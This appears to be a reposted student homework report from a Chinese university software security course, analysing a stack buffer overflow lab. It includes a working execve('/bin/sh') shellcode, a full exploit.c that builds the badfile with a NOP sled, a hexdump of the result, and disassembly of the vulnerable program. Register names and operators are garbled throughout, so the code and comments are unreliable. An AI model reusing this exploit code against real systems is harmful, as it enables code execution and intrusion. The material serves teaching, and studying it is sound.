软件和系统安全栈溢出的
软件与系统安全 - 栈溢出利用的分析
软件与系统安全的作业,写得不尽详尽,仍有问题未解决,欢迎反馈
**栈溢出利用的分析 **
进行以下文献阅读、实验操作和代码(指令)分析,撰写分析报告。
- 阅读buffer_overflow.pdf 的第4.1~4.7 节,理解栈溢出攻击的原理。
- 按照README,运行exploit 程序,生成badfile。利用xxd 分析badfile,
同时分析exploit.c 源代码,理解并解释为什么程序能够生成badfile 的内容。- 按照README 运行stack 程序,实施栈溢出利用,观察shellcode 的执行
效果。- 详细分析stack.asm 中的 main 函数及 bof 函数对应的汇编指令序列,画出
从main 起始到调用bof 函数执行、再到返回main 的过程中关键的栈状态。解释
这些关键的栈状态,说明栈溢出攻击是如何实现的。(需要画出并解释的栈状态
包括但不限于:call fread 后,call bof 前,bof 内call strcpy 前,bof 内call strcpy
后,bof 内ret 前,从bof 返回main 后)。
注:要求自己画栈状态,禁止从阅读材料中复制。**提交要求: **
截止时间:4 月17 日23:59:59。
形式:分析报告(word 或pdf),内含以上要求的分析内容、关键栈状态图
(不限画图软件,但必须自己画,粘贴到报告中)和对攻击过程的解释。
提交到助教邮箱(见第一次课“intro.pdf”),邮件标题:“[学号]姓名-软件与
系统安全作业1”。
一、栈溢出攻击的原理
esp
用来存储函数调用栈的栈顶地址,在压栈和退栈时发生变化
ebp
用来存储当前函数状态的基地址,在函数运行时不变,可以用来索引确定函数参数或局部变量的位置。
eip
用来存储即将执行的程序指令的地址,cpu 依照 eip 的存储内容读取指令并执行,eip 随之指向相邻的下一条指令,如此反复,程序就得以连续执行指令。
在溢出数据内包含一段攻击指令,用攻击指令的起始地址覆盖掉返回地址。攻击指令一般都是用来打开 shell,从而可以获得当前进程的控制权,所以这类指令片段也被成为“shellcode”。
payload : padding1 address of shellcode padding2 shellcode
padding1 处的数据可以随意填充(注意如果利用字符串程序输入溢出数据不要包含 “\x00” ,否则向程序传入溢出数据时会造成截断),长度应该刚好覆盖函数的基地址。address of shellcode 是后面 shellcode 起始处的地址,用来覆盖返回地址。padding2 处的数据也可以随意填充,长度可以任意。shellcode 应该为十六进制的机器码格式。
只能得到大致但不确切的 shellcode 起始地址,解决办法是在 padding2 里填充若干长度的 “\x90”。这个机器码对应的指令是 NOP (No Operation),也就是告诉 CPU 什么也不做,然后跳到下一条指令。有了这一段 NOP 的填充,只要返回地址能够命中这一段中的任意位置,都可以无副作用地跳转到 shellcode 的起始处,所以这种方法被称为 NOP Sled(中文含义是“滑雪橇”)。这样我们就可以通过增加 NOP 填充来配合试验 shellcode 起始地址。
二、exploit 与 badfile
badfile文件内容
00000000: c7ca ffff c7ca ffff c7ca ffff c7ca ffff ................
00000010: c7ca ffff c7ca ffff c7ca ffff c7ca ffff ................
00000020: c7ca ffff c7ca ffff c7ca ffff c7ca ffff ................
00000030: c7ca ffff c7ca ffff c7ca ffff c7ca ffff ................
00000040: c7ca ffff c7ca ffff c7ca ffff c7ca ffff ................
00000050: c7ca ffff c7ca ffff c7ca ffff c7ca ffff ................
00000060: c7ca ffff 9090 9090 9090 9090 9090 9090 ................
00000070: 9090 9090 9090 9090 9090 9090 9090 9090 ................
00000080: 9090 9090 9090 9090 9090 9090 9090 9090 ................
00000090: 9090 9090 9090 9090 9090 9090 9090 9090 ................
000000a0: 9090 9090 9090 9090 9090 9090 9090 9090 ................
000000b0: 9090 9090 9090 9090 9090 9090 9090 9090 ................
000000c0: 9090 9090 9090 9090 9090 9090 9090 9090 ................
000000d0: 9090 9090 9090 9090 9090 9090 9090 9090 ................
000000e0: 9090 9090 9090 9090 9090 9090 9090 9090 ................
000000f0: 9090 9090 9090 9090 9090 9090 9090 9090 ................
00000100: 9090 9090 9090 9090 9090 9090 9090 9090 ................
00000110: 9090 9090 9090 9090 9090 9090 9090 9090 ................
00000120: 9090 9090 9090 9090 9090 9090 9090 9090 ................
00000130: 9090 9090 9090 9090 9090 9090 9090 9090 ................
00000140: 9090 9090 9090 9090 9090 9090 9090 9090 ................
00000150: 9090 9090 9090 9090 9090 9090 9090 9090 ................
00000160: 9090 9090 9090 9090 9090 9090 9090 9090 ................
00000170: 9090 9090 9090 9090 9090 9090 9090 9090 ................
00000180: 9090 9090 9090 9090 9090 9090 9090 9090 ................
00000190: 9090 9090 9090 9090 9090 9090 9090 9090 ................
000001a0: 9090 9090 9090 9090 9090 9090 9090 9090 ................
000001b0: 9090 9090 9090 9090 9090 9090 9090 9090 ................
000001c0: 9090 9090 9090 9090 9090 9090 9090 9090 ................
000001d0: 9090 9090 9090 9090 9090 9090 9090 9090 ................
000001e0: 9090 9090 9090 9090 9090 9031 c050 682f ...........1.Ph/
000001f0: 2f73 6868 2f62 696e 89e3 5053 89e1 99b0 /shh/bin..PS....
00000200: 0bcd 8000 00
exploit.c 源代码分析
shellcode
分析见注释:
char shellcode[] =
"\x31\xc0" // xorl x,x
"\x50" // pushl x
"\x68""//sh" // pushl $0x68732f2f
"\x68""/bin" // pushl $0x6e69622f
"\x89\xe3" // movl %esp,x
"\x50" // push x
"\x53" // push x
"\x89\xe1" // mov %esp,x #
"\x99" // cdq # set x to 0
"\xb0\x0b" // movb $0x0b,%al # set %al to 11
"\xcd\x80" // int $0x80 # execve("/bin/sh",0,0)
;
可实现的功能等同于:
#include <unistd.h>
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
此程序编译后为
08049196 <main>:
8049196: f3 0f 1e fb endbr32
804919a: 8d 4c 24 04 lea 0x4(%esp),x
804919e: 83 e4 f0 and $0xfffffff0,%esp
80491a1: ff 71 fc pushl -0x4(x)
80491a4: 55 push p
80491a5: 89 e5 mov %esp,p
80491a7: 53 push x
80491a8: 51 push x
80491a9: 83 ec 10 sub $0x10,%esp
80491ac: e8 37 00 00 00 call 80491e8 <__x86.get_pc_thunk.ax>
80491b1: 05 4f 2e 00 00 add $0x2e4f,x
80491b6: 8d 90 08 e0 ff ff lea -0x1ff8(x),x
80491bc: 89 55 f0 mov x,-0x10(p)
80491bf: c7 45 f4 00 00 00 00 movl $0x0,-0xc(p)
80491c6: 8b 55 f0 mov -0x10(p),x
80491c9: 83 ec 04 sub $0x4,%esp
80491cc: 6a 00 push $0x0
80491ce: 8d 4d f0 lea -0x10(p),x
80491d1: 51 push x
80491d2: 52 push x
80491d3: 89 c3 mov x,x
80491d5: e8 96 fe ff ff call 8049070 <execve@plt>
80491da: 83 c4 10 add $0x10,%esp
80491dd: 90 nop
80491de: 8d 65 f8 lea -0x8(p),%esp
80491e1: 59 pop x
80491e2: 5b pop x
80491e3: 5d pop p
80491e4: 8d 61 fc lea -0x4(x),%esp
80491e7: c3 ret
其余代码分析,分析见注释:
/* 利用漏洞.c */
/* 一个程序,它创建一个文件“badfile”,其中包含用于启动shell的代码 */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define BUFFER_SIZE 517 // 表示缓冲区的大小
#define OFFSET 400 // 表示缓冲区的偏移量
char shellcode[] =
"\x31\xc0" // xorl x,x
"\x50" // pushl x
"\x68""//sh" // pushl $0x68732f2f
"\x68""/bin" // pushl $0x6e69622f
"\x89\xe3" // movl %esp,x
"\x50" // push x
"\x53" // push x
"\x89\xe1" // mov %esp,x #
"\x99" // cdq # set x to 0
"\xb0\x0b" // movb $0x0b,%al # set %al to 11
"\xcd\x80" // int $0x80 # execve("/bin/sh",0,0)
;
void fillBuffer(char buffer[BUFFER_SIZE]) {
// 获取 shellcode 的大小
int shellcodeSize = sizeof(shellcode);
//表示最终允许执行 shellcode 的估计返回地址
//通过使用缓冲区的地址和偏移值(在本例中为缓冲区后 400 字节)
long *returnAddress = (long *) (buffer OFFSET);
//获取缓冲区的长整数指针,以引用堆栈内存地址中的每个 4 字节十六进制数
long *bufferPtr = (long *) buffer;
int i;
int shellcodeCounter = 0;
//获取缓冲区中以空值终止的 shell 代码的起始索引
//(即在缓冲区的末尾插入空终止的外壳代码)
int shellcodeStartIndex = (BUFFER_SIZE-(shellcodeSize 1));
// 循环 25 次 (每次修改 4-bytes hexadecimal 从缓冲区开始的栈内存地址)
for (i = 0; i < 25; i ) {
*bufferPtr = (long) returnAddress; // 将估计返回地址分配给堆栈内存地址中的 4 字节十六进制
bufferPtr ; // 转到堆栈内存地址中下一个 4 字节十六进制(因为长整数是 4 字节部分)
}
// 在缓冲区末尾插入外壳代码,没有终止符
for (i = shellcodeStartIndex; i < (BUFFER_SIZE-1); i ) {
buffer[i] = shellcode[shellcodeCounter];
shellcodeCounter ;
}
// shellcode的 终止符
buffer[BUFFER_SIZE-1] = '\0';
}
void main(int argc, char **argv) {
char buffer[BUFFER_SIZE];
// printf("buffer addr (%p)\n", buffer);
FILE *badfile;
/*使用0x90初始化缓冲区(NOP 指令)*/
memset(&buffer, 0x90, BUFFER_SIZE);
/*您需要在此处使用适当的内容填充缓冲区*/
fillBuffer(buffer);
/*将内容保存到文件"badfile"*/
badfile = fopen("./badfile", "w");
fwrite(buffer, BUFFER_SIZE, 1, badfile);
fclose(badfile);
}
三、运行 stack 读入 shellcode
setarch i386 -R ./stack
$ who
hxn tty7 Apr 17 18:30 (:0)
$ id
uid=1000(hxn) gid=1000(hxn) groups=1000(hxn),4(adm),24(cdrom),27(sudo),29(audio),30(dip),46(plugdev),113(lpadmin),128(sambashare)
可以看出shellcode执行成功,我们获取了shell
四、stack.asm 分析与栈溢出攻击的实现
详细分析stack.asm 中的 main 函数及 bof 函数对应的汇编指令序列,画出
从main 起始到调用 bof 函数执行、再到返回 main 的过程中关键的栈状态。解释
这些关键的栈状态,说明栈溢出攻击是如何实现的。(需要画出并解释的栈状态
包括但不限于:
- call fread 后,call bof 前,
- bof 内 call strcpy 前,
- bof 内 call strcpy 后,bof 内 ret 前,
- 从bof 返回main 后。
注:要求自己画栈状态,禁止从阅读材料中复制。
从 main 函数开始:
08049229 <main>:
8049229: f3 0f 1e fb endbr32
804922d: 8d 4c 24 04 lea 0x4(%esp),x
8049231: 83 e4 f0 and $0xfffffff0,%esp
8049234: ff 71 fc pushl -0x4(x)
8049237: 55 push p
8049238: 89 e5 mov %esp,p
804923a: 53 push x
804923b: 51 push x
804923c: 81 ec 10 02 00 00 sub $0x210,%esp
8049242: e8 e9 fe ff ff call 8049130 <__x86.get_pc_thunk.bx>
8049247: 81 c3 b9 2d 00 00 add $0x2db9,x
# stack.c:23: badfile = fopen("badfile", "r");
804924d: 83 ec 08 sub $0x8,%esp
8049250: 8d 83 08 e0 ff ff lea -0x1ff8(x),x
8049256: 50 push x
8049257: 8d 83 0a e0 ff ff lea -0x1ff6(x),x
804925d: 50 push x
804925e: e8 6d fe ff ff call 80490d0 <fopen@plt>
8049263: 83 c4 10 add $0x10,%esp
8049266: 89 45 f4 mov x,-0xc(p)
# stack.c:24: fread(str, sizeof(char), 517, badfile);
8049269: ff 75 f4 pushl -0xc(p)
804926c: 68 05 02 00 00 push $0x205
8049271: 6a 01 push $0x1
8049273: 8d 85 ef fd ff ff lea -0x211(p),x
8049279: 50 push x
804927a: e8 11 fe ff ff call 8049090 <fread@plt>
进入 fread 函数
call fread 后,call bof 前 的栈状态:
fread 函数结束 返回 main
804927f: 83 c4 10 add $0x10,%esp
# stack.c:25: bof(str);
8049282: 83 ec 0c sub $0xc,%esp
8049285: 8d 85 ef fd ff ff lea -0x211(p),x
804928b: 50 push x
804928c: e8 65 ff ff ff call 80491f6 <bof>
进入 bof 函数
080491f6 <bof>:
80491f6: f3 0f 1e fb endbr32
80491fa: 55 push p
80491fb: 89 e5 mov %esp,p
80491fd: 53 push x
80491fe: 83 ec 24 sub $0x24,%esp
8049201: e8 af 00 00 00 call 80492b5 <__x86.get_pc_thunk.ax>
8049206: 05 fa 2d 00 00 add $0x2dfa,x
# stack.c:15: strcpy(buffer, str);
804920b: 83 ec 08 sub $0x8,%esp
804920e: ff 75 08 pushl 0x8(p)
8049211: 8d 55 e0 lea -0x20(p),x
8049214: 52 push x
8049215: 89 c3 mov x,x
8049217: e8 84 fe ff ff call 80490a0 <strcpy@plt>
- bof 内 call strcpy 前,
- bof 内 call strcpy 后,
804921c: 83 c4 10 add $0x10,%esp
804921f: b8 01 00 00 00 mov $0x1,x
# stack.c:16: return 1;
8049224: 8b 5d fc mov -0x4(p),x
8049227: c9 leave
8049228: c3 ret
buf 函数结束 返回 main
8049291: 83 c4 10 add $0x10,%esp
# stack.c:26: printf("Returned Properly\n");
8049294: 83 ec 0c sub $0xc,%esp
8049297: 8d 83 12 e0 ff ff lea -0x1fee(x),x
804929d: 50 push x
804929e: e8 0d fe ff ff call 80490b0 <puts@plt>
80492a3: 83 c4 10 add $0x10,%esp
80492a6: b8 01 00 00 00 mov $0x1,x
80492ab: 8d 65 f8 lea -0x8(p),%esp
80492ae: 59 pop x
80492af: 5b pop x
80492b0: 5d pop p
80492b1: 8d 61 fc lea -0x4(x),%esp
80492b4: c3 ret
全部流程:
参考资料
https://zhuanlan.zhihu.com/p/25816426
这篇好文章是转载于:学新通技术网
- 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
- 本站站名: 学新通技术网
- 本文地址: /boutique/detail/tanhfkjcee
-
photoshop保存的图片太大微信发不了怎么办
PHP中文网 06-15 -
Android 11 保存文件到外部存储,并分享文件
Luke 10-12 -
word里面弄一个表格后上面的标题会跑到下面怎么办
PHP中文网 06-20 -
《学习通》视频自动暂停处理方法
HelloWorld317 07-05 -
photoshop扩展功能面板显示灰色怎么办
PHP中文网 06-14 -
微信公众号没有声音提示怎么办
PHP中文网 03-31 -
怎样阻止微信小程序自动打开
PHP中文网 06-13 -
excel下划线不显示怎么办
PHP中文网 06-23 -
excel打印预览压线压字怎么办
PHP中文网 06-22 -
photoshop蒙版画笔没反应怎么办
PHP中文网 06-24